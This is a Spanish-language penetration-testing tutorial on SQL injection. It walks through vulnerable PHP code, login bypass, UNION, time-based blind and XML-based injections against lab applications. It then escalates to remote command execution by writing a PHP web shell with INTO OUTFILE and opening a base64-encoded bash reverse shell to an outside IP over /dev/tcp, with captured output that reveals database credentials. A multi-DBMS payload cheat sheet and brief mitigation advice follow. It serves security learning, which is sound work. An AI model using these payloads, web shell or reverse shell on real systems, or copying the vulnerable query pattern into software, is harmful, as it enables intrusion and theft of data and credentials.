26 minuto(s) estimado(s) de lectura
SQL Inject
tipos de inyecciones
Los ataques de inyección SQL permiten a un usuario no autorizado tomar el control de las sentencias SQL utilizadas por una aplicación web, con el fin de obtener datos como por ejemplo:
- Credenciales de usuario;
- Información de la aplicación web;
- Números de tarjetas de créditos;
- Datos de transacciones;
- Correos electrónicos;
- Números de teléfono;
- entre muchos otros datos.
Esta vulnerabilidad se puede encontrar en:
- Parámetros GET.
- Parámetros POST.
- Encabezados HTTP.
- User-Agent.
- Cookies.
- Accept.
- Entre otros.
Consultas dinámicas vulnerables
A continuación se presentan consultas vulnerables, iniciando por el código que utiliza la entrada proporcionada por el usuario para construir una query (el parámetro id de la petición GET). Luego el código envía la consulta a la base de datos. Este comportamiento es muy peligroso porque un usuario malicioso puede explotar la construcción de la consulta para tomar el control de la interacción con la base de datos.
$id = $_GET['id'];
$connection = mysqli_connect($dbhostname, $dbuser, $dbpassword, $dbname);
$query = "SELECT Name, Description FROM Products WHERE ID='$id';";
$results = mysqli_query($connection, $query);
display_results($results);
Para esta situación un atacante podría alterar la consulta, inyectando el siguiente parámetro en ID:
' OR 'a'='a
o también podría ser:
' OR '1'='1
Lo que provocaría en la consulta es lo siguiente:
SELECT Name, Description FROM Products WHERE ID='' OR 'a'='a';
En este caso indica a la base de datos que seleccione los elementos comprobando dos condiciones:
- El ID debe estar vacío (id=’’).
- OR es una condición siempre verdadera (‘a’=’a’).
Mientras no se cumpla la primera condición, el motor SQL considerará la segunda condición del OR. Esta segunda condición es una condición siempre verdadera, en otras palabras, indica a la base de datos que seleccione todos los elementos de la tabla Products
.
Este tipo de explotaciones se pueden realizar de diversas formas por ejemplo si ocupamos una inyección con UNION como la siguiente:
' UNION SELECT Username, Password FROM Accounts WHERE 'a'='a
El resultado del cambio de la consulta original sería el siguiente:
SELECT Name, Description FROM Products WHERE ID='' UNION SELECT Username, Password FROM Accounts WHERE 'a'='a';
El ejemplo reciente con UNION pide a la base de datos que seleccione los elementos con un id vacío, seleccionando así un conjunto vacío, y la realización de una unión con todas las entradas de la tabla Accounts
.
Utilizando algunos conocimientos profundos sobre las funciones de los sistemas de gestión de bases de datos, un atacante puede obtener acceso a toda la base de datos simplemente utilizando una aplicación web como vector de ataque.
A continuación se presenta una prueba de concepto con una web distinta al ejemplo reciente pero que demuestra esta vulnerabilidad.
Proof of Concept (PoC)
Si en una aplicación web realizamos una comilla simple obtendremos el error que indicaría que es vulnerable:
Luego si ocupamos la inyección anteriormente mencionada obtendremos lo siguiente:
SQL Injection Login ByPass (Boolean Based)
Un SQL inject boolean based es un tipo de ataque de SQL injection en el que el atacante envía una consulta a la base de datos que contiene una condición booleana (verdadero o falso). La respuesta de la base de datos indica si la condición es verdadera o falsa, lo que permite al atacante deducir información sobre la estructura y los datos de la base de datos.
Primero realizamos la comprobación de la vulnerabilidad:
Una vez se detecta que es el login es vulnerable, debemos suponer la consulta que pasa por detrás del panel de autenticación, en este caso puede ser:
SELECT userid FROM users WHERE user='admin' AND pass='password';
Por lo tanto deberiamos aplicar el siguiente cambio a la consulta original:
SELECT userid FROM users WHERE user='' OR '1'='1' AND pass='' OR '1'='1'
Es decir aplicamos en el campo de user
, si conocieramos el nombre de usuario lo siguiente:
admin' OR '1'='1
Y en el campo de pass
:
' OR '1'='1
-- Si no conocieramos el nombre de usuario, iría lo mismo y considerará el primer usuario de la tabla
Finalmente obtenemos acceso como admin:
Identificar número de columnas
Un SQL inject que utiliza la cláusula ORDER BY
es un tipo de ataque de SQL injection en el que el atacante intenta identificar el número de columnas en una tabla de una base de datos. El atacante envía una consulta a la base de datos con una cláusula ORDER BY y un número de columna específico, y observa cómo la aplicación web responde a la consulta. Si la aplicación no muestra ningún error, el atacante sabe que la columna existe y puede intentar inyectar otra consulta para obtener más información sobre la tabla.
test' order by 10-- -
test' order by 8-- -
test' order by 7-- -
Por lo tanto en esta prueba, se detectaron 7 columnas.
SQL Injection UNION Attack
Es un tipo de ataque de SQL injection en el que el atacante inyecta código malicioso en una consulta SQL que utiliza la cláusula UNION
. La cláusula UNION
permite combinar el resultado de dos o más consultas SELECT
en una sola tabla. El atacante puede utilizar una consulta de UNION para inyectar código malicioso en la base de datos y obtener información no autorizada o realizar acciones no autorizadas.
Podemos empezar a descubrir el nombre de las tablas, sin antes destacar que se agrega table_schema
para que no enumere todas las tablas de las distintas bases de datos, sin embargo en esta ocasión como solo hay una, se escribe database()
, si hubieran más simplemente se debe reemplazar lo anterior por el nombre de la base de datos correspondiente.
test' UNION SELECT 1,table_name,3,4,5,6,7 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=database()-- -
Una vez obtenemos las tablas, procedemos a ver las columnas de la tabla users
:
test' union select 1,column_name,3,4,5,6,7 FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='users' AND table_schema=database()-- -
Ya teniendo toda esa información como base podemos ingresar a la información de las columnas:
test' union select 1,login,password,email,secret,7 FROM users-- -
BurpSuite (Union Attack)
Para el caso de BurpSuite, una vez interceptamos la petición, detectaremos “title”, que es desde donde se realizará la inyección:
Antes de envíar la petición modificada, hay convertir la inyección a URL encode de la siguiente forma:
Finalmente se envía y en la respuesta se podrá apreciar toda la información solicitada:
Limitación de resultados
En algunas situaciones la inyección no permite mostrar toda la información en una sola consulta, por lo que debemos limitar la respuesta para ir de una en una, de la siguiente forma:
test' union select 1,table_name,3,4,5,6,7 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=database() LIMIT 0,1-- -
Con esto se obtiene la primera tabla de la base de datos, que en para este caso es blog
:
A continuación obtendremos la segunda tabla que es heroes
test' union select 1,table_name,3,4,5,6,7 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=database() LIMIT 1,1-- -
Este proceso seguirá hasta que lleguemos a una tabla que se considere sensible, como el siguiente caso:
test' union select 1,table_name,3,4,5,6,7 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=database() LIMIT 3,1-- -
Este mismo proceso se puede realizar para buscar bases de datos, tablas, columnas o la información contenidas en ellas.
Recuperación de múltiples valores en una columna
Para los siguientes ejemplo lo que se busca realizar es seleccionar todos los datos de la tabla users y concatenarlos en una sola cadena para obtener el nombre de usuario, la contraseña, el secreto y el correo electrónico de cada usuario en la base de datos. Este prcoeso se puede realizar para obtener datos de tablas, columnas, entre otros.
test' union select 1,concat(login,':',password,':',secret,':',email),3,4,5,6,7 FROM users-- -
Otra opción podría ser lo siguiente pero no siempre funciona:
test' union select 1,login||':'||password||':'||secret||':'||email,3,4,5,6,7 FROM users-- -
Detección de versión
La detección de versiones a través de una inyección es importante para encontrar vulnerabilidades conocidas en esa versión específica, lo que provoca que se encuentren más vectores potenciales de ataque.
test' UNION SELECT 1,@@version,3,4,5,6,7-- -
SQL Injection Blind Attack (Time-Based)
El Blind SQL Injection es aquella aplicacion web en donde no se ve el error en la respuesta tras la inyección. En esta ocasión se ocupará el parámetro SLEEP()
, para conocer información de la base de datos. Esto último hace referencia a lo que se conoce como “Time-Based”, en que en lugar de obtener una respuesta inmediata, el atacante hace uso de una técnica de “atraso” o “temporización” para determinar si la consulta fue exitosa, lo que dificulta la detección del ataque.
Primero identificamos la vulnerabilidad, en este caso hay diversas formas de identificarlo, pero para esta situación ocuparemos la siguiente inyección:
iron man' AND sleep(5)-- -
Se detectan 5 segundos de espera antes de que cargue la página, lo que confirma la vulnerabilidad:
Tras confirmar la vulnerabilidad, podemos comenzar a buscar el nombre de la base de datos, esto se realiza por medio de la siguiente inyección:
iron man' AND substring(database(),1,1)='a' AND sleep(5)-- -
intentamos con la letra “a”, sin embargo la web nos responde prácticamente de forma inmediata la respuesta:
Esto indica que el nombre de la base de datos buscada no inicia con la letra “a”, es decir, si esta no respeta el tiempo de “sleep” asociado, entonces significa que la letra no corresponde. Entonces como para el primer caso no funciona podemos seguir viendo con la siguiente letra:
iron man' AND substring(database(),1,1)='b' AND sleep(5)-- -
En este caso funciona según lo esperado el proceso, por lo tanto el nombre de la base de datos comienza con la letra ‘b’. De esta misma forma seguiriamos probando así sucesivamente considerando; minúsculas, mayúsculas, números, entre otros, hasta encontrar el nombre de la base de datos completa que sería bWAPP
.
iron man' AND substring(database(),2,1)='W' AND sleep(5)-- -
iron man' AND substring(database(),3,1)='A' AND sleep(5)-- -
iron man' AND substring(database(),4,1)='P' AND sleep(5)-- -
iron man' AND substring(database(),5,1)='P' AND sleep(5)-- -
Ahora para encontrar los nombres de las tablas se realiza la siguiente inyección, en donde nos centraremos en encontrar la tabla users
que se vió anteriormente:
' or 1=1 AND substring((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_type='base table' AND table_schema='bWAPP' LIMIT 3,1),1,1) = 'u' AND sleep(5)-- -
' or 1=1 AND substring((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_type='base table' AND table_schema='bWAPP' LIMIT 3,1),2,1) = 's' AND sleep(5)-- -
' or 1=1 AND substring((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_type='base table' AND table_schema='bWAPP' LIMIT 3,1),3,1) = 'e' AND sleep(5)-- -
' or 1=1 AND substring((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_type='base table' AND table_schema='bWAPP' LIMIT 3,1),4,1) = 'r' AND sleep(5)-- -
' or 1=1 AND substring((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_type='base table' AND table_schema='bWAPP' LIMIT 3,1),5,1) = 's' AND sleep(5)-- -
Opción ocupando ASCII
' or 1=1 AND ASCII(substring((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_type='base table' AND table_schema='bWAPP' LIMIT 3,1),1,1)) = 117 AND sleep(5)-- -
Si quisieramos buscar otra tabla sería por medio de las siguientes inyecciones (En este caso se busca la tabla “heroes”):
' or 1=1 AND substring((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_type='base table' AND table_schema='bWAPP' LIMIT 1,1),1,1) = 'h' AND sleep(5)-- -
' or 1=1 AND substring((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_type='base table' AND table_schema='bWAPP' LIMIT 1,1),2,1) = 'e' AND sleep(5)-- -
' or 1=1 AND substring((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_type='base table' AND table_schema='bWAPP' LIMIT 1,1),3,1) = 'r' AND sleep(5)-- -
' or 1=1 AND substring((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_type='base table' AND table_schema='bWAPP' LIMIT 1,1),4,1) = 'o' AND sleep(5)-- -
' or 1=1 AND substring((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_type='base table' AND table_schema='bWAPP' LIMIT 1,1),5,1) = 'e' AND sleep(5)-- -
' or 1=1 AND substring((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_type='base table' AND table_schema='bWAPP' LIMIT 1,1),6,1) = 's' AND sleep(5)-- -
Opción ocupando ASCII
' or 1=1 AND ASCII(substring((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_type='base table' AND table_schema='bWAPP' LIMIT 1,1),1,1)) = 104 AND sleep(5)-- -
Una vez encontramos una tabla sensible en la cual centrarnos, podemos buscar sus columnas de la siguiente forma (en este caso la columna encontrada es password
):
' or 1=1 AND substring((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='users' LIMIT 2,1),1,1) = 'p' AND sleep(5)-- -
' or 1=1 AND substring((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='users' LIMIT 2,1),2,1) = 'a' AND sleep(5)-- -
' or 1=1 AND substring((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='users' LIMIT 2,1),3,1) = 's' AND sleep(5)-- -
' or 1=1 AND substring((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='users' LIMIT 2,1),4,1) = 's' AND sleep(5)-- -
' or 1=1 AND substring((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='users' LIMIT 2,1),5,1) = 'w' AND sleep(5)-- -
' or 1=1 AND substring((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='users' LIMIT 2,1),6,1) = 'o' AND sleep(5)-- -
' or 1=1 AND substring((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='users' LIMIT 2,1),7,1) = 'r' AND sleep(5)-- -
' or 1=1 AND substring((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='users' LIMIT 2,1),8,1) = 'd' AND sleep(5)-- -
Opción ocupando ASCII
' or 1=1 AND ASCII(substring((SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='users' LIMIT 2,1),1,1)) = 112 AND sleep(5)-- -
Este proceso se puede realizar para encontrar cualquier columna, como por ejemplo encontrar “login”. Ahora si se quiere ver el contenido en este caso de la tabla users
, hacemos lo siguiente para la columna login
:
' or 1=1 AND substring((SELECT login FROM users LIMIT 1,1),1,1) = 'b' AND sleep(5)-- -
' or 1=1 AND substring((SELECT login FROM users LIMIT 1,1),2,1) = 'e' AND sleep(5)-- -
' or 1=1 AND substring((SELECT login FROM users LIMIT 1,1),3,1) = 'e' AND sleep(5)-- -
y para el caso de password
sería de la siguiente forma:
' or 1=1 AND substring((SELECT password FROM users LIMIT 1,1),1,1) = '6' AND sleep(5)-- -
Pero como sería mucho más largo el hash, simplemente se muestra uno como ejemplo referecial.
Opción ocupando ASCII
' or 1=1 AND ASCII(substring((SELECT login FROM users LIMIT 1,1),1,1)) = 98 AND sleep(5)-- -
SQL Injection Stored (XML)
Es un tipo de ataque de inyección SQL en el cual el atacante inserta código malicioso en una consulta SQL almacenada en una aplicación web, permitiéndole ejecutar comandos arbitrarios en la base de datos. A diferencia de una inyección SQL tradicional, que suele ser utilizada para obtener información o realizar cambios en una base de datos, una inyección SQL XML almacenada permite al atacante escribir y almacenar su propio código malicioso en la base de datos, lo que puede permitirle realizar acciones más avanzadas, como la creación de usuarios maliciosos o la modificación de datos críticos.
Para el ejemplo que vermeos a continuación se intercepta la petición con BurpSuite y se hace click en la unica opción presente:
Recibimos lo siguiente en BurpSuite:
Y en la siguiente sección, comprobaremos la vulnerabilidad:
<login>
bee
</login>
Esta se comprueba de la siguiente forma:
Y como se puede aprecia se detecta la vulnerabilidad
Por este mismo medio, se pueden inyectar consultas vistas anteriormente como por ejemplo la siguiente, en que se detectará en BurpSuite el tiempo de espera de 5 segundos:
Para obtener finalmente como respuesta la inyección insertada:
SQL Injection a RCE (Remote Command Execution)
Por medio de la siguiente inyección es posible por la cláusula UNION
combinar los resultados de dos o más SELECTs o para este caso con la cláusula INTO OUTFILE
en un solo resultado que permite escribir los resultados de un SELECT en un archivo en el sistema de archivos del servidor.
' UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'-- -
Aplicamos esta inyección en BurpSuite de la siguiente forma:
Luego al hacer un “follow redirection” podemos confirmar la inyección exitosa.
En nuestro navegador podremos ejecutar comandos y ver archivos senibles como “config.php” que contiene credenciales válidas.
Para recibir una shell inversa debemos convertir el siguiente comando en base64:
┌─[root@kali]─[/home/user/demo/]
└──╼ echo "bash -i >& /dev/tcp/10.10.14.9/4646 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45LzQ2NDYgMD4mMQo=
Y si nos ponemos a la escucha con nc -nlvp 4646
, y en Burpsuite realizamos los siguientes pasos podremos obtener la shell.
echo "YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xMC4xMC4xNC45LzQ2NDYgMD4mMQo="|base64 -d|bash
┌─[root@kali]─[/home/user/demo/]
└──╼ nc -nlvp 4646
listening on [any] 4646 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.11.116] 42720
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@validation:/var/www/html$ whoami
whoami
www-data
www-data@validation:/var/www/html$ ls
ls
account.php
config.php
css
index.php
js
shell.php
www-data@validation:/var/www/html$ cat config.php
cat config.php
<?php
$servername = "127.0.0.1";
$username = "uhc";
$password = "uhc-9qual-global-pw";
$dbname = "registration";
$conn = new mysqli($servername, $username, $password, $dbname);
?>
www-data@validation:/var/www/html$
Con esa contraseña obtenida es posible acceder al usuario root con su root
.
Resumen con UNION (considerando 2 columnas)
Consultar versión
- SQL Server
' UNION SELECT @@VERSION, NULL--
- MySQL
' UNION SELECT VERSION(), NULL--
- Oracle
' UNION SELECT banner, NULL FROM v$version WHERE banner LIKE 'Oracle%'--
- PostgeSQL
' UNION SELECT version(), NULL--
- SQLite
' UNION SELECT sqlite_version(), NULL--
- IBM DB2
' UNION SELECT SERVICE_LEVEL, VERSIONNUMBER FROM TABLE (sysproc.env_get_inst_info()) AS SYSTEMINFO--
Obtener nombre de la base de datos
- SQL Server
' UNION SELECT name, NULL FROM master..sysdatabases--
- MySQL
' UNION SELECT schema_name, NULL FROM information_schema.schemata--
- Oracle
' UNION SELECT username, NULL FROM all_users--
- PostgeSQL
' UNION SELECT datname, NULL FROM pg_database--
- IBM DB2
' UNION SELECT schemaname, NULL FROM syscat.schemata--
Consultar tablas
- SQL Server
' UNION SELECT TABLE_NAME, NULL FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = DB_NAME()--
- MySQL
' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema = database()--
- Oracle
' UNION SELECT table_name, NULL FROM all_tables--
- PostgeSQL
' UNION SELECT tablename, NULL FROM pg_tables WHERE schemaname = current_schema()--
- SQLite
' UNION SELECT name, NULL FROM sqlite_master WHERE type='table'--
- IBM DB2
' UNION SELECT tabname, NULL FROM syscat.tables WHERE tabschema = current schema--
Consultar columna
- SQL Server
' UNION SELECT COLUMN_NAME, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'nombre de tabla' AND TABLE_SCHEMA = DB_NAME()--
- MySQL
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = 'nombre de tabla' AND table_schema = database()--
- Oracle
' UNION SELECT column_name, NULL FROM all_tab_columns WHERE table_name = 'nombre de tabla'--
- PostgeSQL
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = 'nombre de tabla' AND table_schema = current_schema()--
- IBM DB2
' UNION SELECT colname, NULL FROM syscat.columns WHERE tabname = 'nombre de tabla' AND tabschema = current schema--
Formas de consultar el contenido de las columnas
- Estándar
' UNION SELECT password, username FROM users--
- UNION ALL
' UNION ALL SELECT password, username FROM users--
- Cerrando un paréntesis antes de la unión
') UNION SELECT password, username FROM users--
- Uso de comillas dobles para los nombres de columna (dependiendo del DBMS)
' UNION SELECT "password", "username" FROM users--
- Asignación de alias a la tabla
' UNION SELECT u.password, u.username FROM users u--
- Asignación de alias a las columnas
' UNION SELECT password AS p, username AS u FROM users--
- Uso de subconsulta
' UNION (SELECT password, username FROM users)--
- Cerrando un paréntesis antes de la unión con subconsulta
') UNION (SELECT password, username FROM users)--
- Uso de UNION SELECT múltiple
' UNION SELECT password FROM users UNION SELECT username FROM users--
- Concatenación de columnas (si el DBMS lo soporta)
' UNION SELECT 1, password || ' ' || username FROM users--
- Uso de UNION con selecciones nulas:
' UNION SELECT password, NULL FROM users UNION SELECT NULL, username FROM users--
Recordar que con ORDER BY se identifica el número de columnas.
Recomendaciones
-
Utilizar parámetros en lugar de construir consultas dinámicamente es una de las mejores maneras de evitar una inyección SQL. Los parámetros permiten que los datos sean separados del código, lo que impide que los atacantes inyecten código malicioso en las consultas.
-
Es importante validar y sanitizar todas las entradas del usuario antes de utilizarlas en una consulta SQL. Esto incluye la eliminación de caracteres no deseados, como comillas y barras invertidas, y la validación de que los datos se ajustan a los tipos de datos esperados.
-
Utilizar un sistema de permisos y roles para controlar el acceso a las bases de datos es una excelente manera de evitar una inyección SQL. Los usuarios y aplicaciones solo deben tener acceso a las bases de datos y tablas que realmente necesitan.
-
Existen varias herramientas disponibles que pueden ayudar a detectar y prevenir las inyecciones SQL, como las herramientas de escaneo de aplicaciones web y las soluciones de seguridad de bases de datos.
-
Mantener actualizado el sistema y las aplicaciones es importante para evitar que los atacantes exploten vulnerabilidades conocidas. Es importante mantener actualizado el sistema operativo, las bases de datos y las aplicaciones web que se ejecutan en el sistema.
-
Utilizar WAF (Firewall de Aplicación Web) estas son herramientas de seguridad especializadas que pueden ayudar a protegerse contra las inyecciones SQL y otras vulnerabilidades web.